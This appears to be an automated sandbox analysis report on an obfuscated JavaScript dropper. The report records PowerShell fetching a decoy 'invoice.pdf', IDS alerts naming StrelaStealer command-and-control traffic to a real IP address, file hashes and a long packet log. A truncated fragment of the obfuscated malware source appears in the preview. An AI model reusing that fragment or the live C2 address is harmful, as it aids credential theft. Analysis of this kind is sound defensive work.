Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f64dd827-5805-4a32-aed6-01bcd6f9484c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15609), with CRLF line terminators
Entropy (8bit):	4.940889121606052
TrID:
File name:	1637664207127019.js
File size:	19'155 bytes
MD5:	cd066f93eac652e10312e0496b282bd2
SHA1:	5e255ba68f81c9b88ac1d48a51d998beeb534e99
SHA256:	82601f2f14b786be2b79b62db6c94755615ae29743cd30cc6b83149b0324039d
SHA512:	58560e6a092eab90011f321973ff8d474ff48e0076df95b2ea886e71eb22bb1be8cd064500428af4d13ce3dcc0221c8886851aa1e54c87e6b9d4d902c5b4d189
SSDEEP:	384:/3oG2wIWJ4mjJjMHBKlX/7ZKivMewx7YyFxTbkdN4e4HzhkQSUzIePgduMhTtqcQ:/3oG2wFjVP7ZKivMewx7YyFxTbkdN4eK
TLSH:	918254C58295C74B85FE41F06AC680D9520C02DB4A4AE3F9D4AFE5176DAC2F0FAD7139
File Content Preview:	function appjv(){tilzt=[1031,3079,5127,4103,2055,3072];var wuteujm=this[zulityp+bcjez+tfufemkfw+zllgx+rgmpegred+ufyuoxnuf+svfptqh+xscuy](this[czqdcwr+bjlefok+gvjmoyrf+tfufemkfw+rwpyc+zulityp+xscuy][ebedkqke+tfufemkfw+rgmpegred+bcjez+xscuy+rgmpegred+abwiep

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:36:32.263665+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T03:36:32.263665+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T03:36:35.571690+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:36:31.414987087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:31.419887066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:31.419974089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:31.423232079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:31.428061962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263479948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263508081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263520956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263614893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263664961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.263689995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263700962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263711929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.263711929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263724089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263734102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.263792038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.263943911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.263956070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.264018059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.268531084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.317887068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.317904949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.317981958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.384130955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384145975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384159088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384203911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384238005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.384260893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384260893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.384489059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384501934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384514093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.384557962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.384586096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.385015011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385026932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385039091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385071039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.385150909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385163069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385196924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.385781050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385822058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385831118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.385834932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385879040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.385920048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385932922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.385968924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.386657953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.386682034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.386691093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.386729956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.431055069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.449994087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.450112104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.450159073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.484141111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.484160900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.484201908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.484211922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.484215021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.484247923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504384995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504461050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504472017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504498959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504522085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504554987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504586935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504631042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504641056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504668951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504781961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504792929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504802942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.504820108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504852057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.504972935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505521059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505537987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505548000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505561113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.505583048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.505723000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505733967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505744934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.505798101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.506159067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506194115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506201982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.506289005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506299973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506325006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.506408930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506419897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506432056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.506443977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.506465912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.507129908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507141113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507150888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507204056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.507239103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507250071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507260084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507272005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.507292032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.507319927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.508073092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508081913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508093119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508119106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.508145094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.508167028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508178949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508189917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508200884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.508224964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.508244991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.509027958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.509037971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.509058952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.509098053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.540503979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.540528059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.540539026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.540730000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.540730000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.574599981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.574616909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.574768066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.604461908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.604480982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.604500055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.604515076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.604530096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.604581118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.604676008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.624639034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624670982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624682903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624697924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624759912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624769926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.624773026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624834061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.624952078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.624969006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625001907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625011921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625042915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625052929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625053883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625092030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625221014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625257015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625267982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625298023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625376940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625386953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625396967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625425100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625444889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625488997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625751019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625804901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625818014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625825882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625847101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.625874996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.625998020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626036882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626059055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626070023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626106024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626146078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626156092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626167059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626190901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626296997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626307011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626338005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626418114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626429081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626439095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626451015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.626460075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626498938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.626952887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627001047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627079964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627090931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627103090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627140999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627167940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627177954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627187967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627199888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627206087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627254009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627410889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627422094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627434969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627443075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.627455950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627494097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.627996922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628007889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628017902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628068924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628074884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628086090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628096104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628096104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628107071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628288984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628304958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628315926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628315926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628315926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628331900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628343105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628350019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628371954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628875017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628923893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.628926992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628941059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.628973961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.629108906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.629118919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.629129887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.629141092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.629153013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.629175901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.630055904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.630930901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.630949020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.630958080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.631026983 CET	49704	80	192.168.2.8	193.143.1.205
